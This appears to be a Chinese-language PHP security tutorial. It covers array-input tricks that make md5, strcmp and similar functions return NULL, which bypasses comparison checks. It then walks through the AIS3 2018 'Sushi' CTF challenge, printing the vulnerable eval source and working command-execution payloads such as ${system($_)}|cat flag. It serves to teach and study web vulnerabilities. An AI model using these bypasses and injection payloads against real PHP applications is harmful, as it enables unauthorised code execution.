在許多函數中
PHP 給了許多容錯機制在裡面
雖然說為開發帶來了方便
但同時也衍生出問題
我們來看一下例子
沒錯 又是 md5
if($a != $b && md5($a) === md5($b))
echo 'T';
這跟上一篇說到的不同
這次使用三個等於代表除了碰撞以外沒別的辦法使 md5 相等了
but
就是這個 but
讓我們來看一下官方的 md5 說明
在這裡我們可以清楚的看到 PHP 定義了要傳進去哈希的必須是字串
然後吐一個 32 個字的 hex 給我們
到這裡各位是不是很想噴我
看完文件了阿上面的等式不是一樣得碰撞嗎
是阿 是得撞
阿就 $a
給 1
, $b
給 2
就真的會過喔不騙你
只是我們需要來點小心機
文件叫我們只能給字串進去 hash
身為一個專業犯賤 我當然不依阿
這時候我們丟丟看 array 進去給 md5 看看會發生什麼事
$a = array();
var_dump(md5($a));
唉唷 沒壞ㄟ
還送我個警告說不可以這樣
然後噴個 NULL 出來
那這樣就只要把 $a
跟 $b
都給 array
後面的條件就成立了
因為 NULL === NULL
嘛
那麼前面的 a b 不相等呢
這個就只要把 array 中塞不同的值給它就好
輕鬆自在
只有 md5 這樣嗎
當然不只
在 PHP 中
以下這些都有這種預期外行為的例外處理
而且都是頗常見的一些比較函數
大家有興趣可以自己玩玩
md5(Array()) = null
sha1(Array()) = null
ereg(pat, Array()) = null
preg_match(pat, Array()) = false
strcmp(Array(), "abc") = null
strpos(Array(), "abc") = null
strlen(Array()) = null
要講這個之前
首先要來認識一下 PHP 中大括號 { }
的用途
還有 "雙引號" 和 '單引號' 在語法中的不同
$a = 'aaa';
echo "$a"; // aaa
echo '$a'; // $a
$a = array(1, 2);
echo "{$a[1]}"; // 2
echo "{$a}[1]"; // Array[1]
function test()
{
echo 'test';
}
echo "${test()}"; // test
那到了這裡了解了用法之後
我們來看看一道題目
這是 AIS3 2018 pre-exam 的 Web - Sushi (原題)
<?php
// PHP is the best language for hacker
// Find the flag !!
highlight_file(__FILE__);
$_ = $_GET['?'];
if( strpos($_, '"') || strpos($_, "'") )
die('Bad Hacker :(');
eval('die("' . substr($_, 0, 16) . '");');
從題目可以看到輸入被限制只能 16 個字被放進 die("")
的雙引號中
這題其實有多種解法
我們直接舉例來看看獵奇解
上面說過大括號可以在雙引號中執行函數
像這樣
${phpinfo()}
接著嘗試 RCE
${system(ls)}
也成功了
可是會發現一個超長的檔名
要 cat 它的話一定超過 16 個字
這時候我們可以利用變數會被再一次解析的特性
將 $_
再把自己放進去來達成繞過長度限制
${system($_)}|cat flag_is_too_lo0o0o0o0o0o0o0ong.txt
會發現 flag 最後面還多出了 |ca
可以算一算前面剛好是我們打進去的前 16 個字
只是前面得部分被執行所以替換成 flag 了
有沒有很神奇呢
上面重放一次的概念是 PHP 的變數會被再解析一次
所以從
${system($_)}|cat flag_is_too_lo0o0o0o0o0o0o0ong.txt
變成了
${system(${system($_)}|cat flag_is_too_lo0o0o0o0o0o0o0ong.txt)}|cat flag_is_too_lo0o0o0o0o0o0o0ong.txt
粗體是 $_
被解析後放進去的內容
也就是原本那串我們輸入的東西
而 system 裡面由於 |
之前的語法對 shell 來說是無意義的
因此會直接去執行 cat xxx
那邊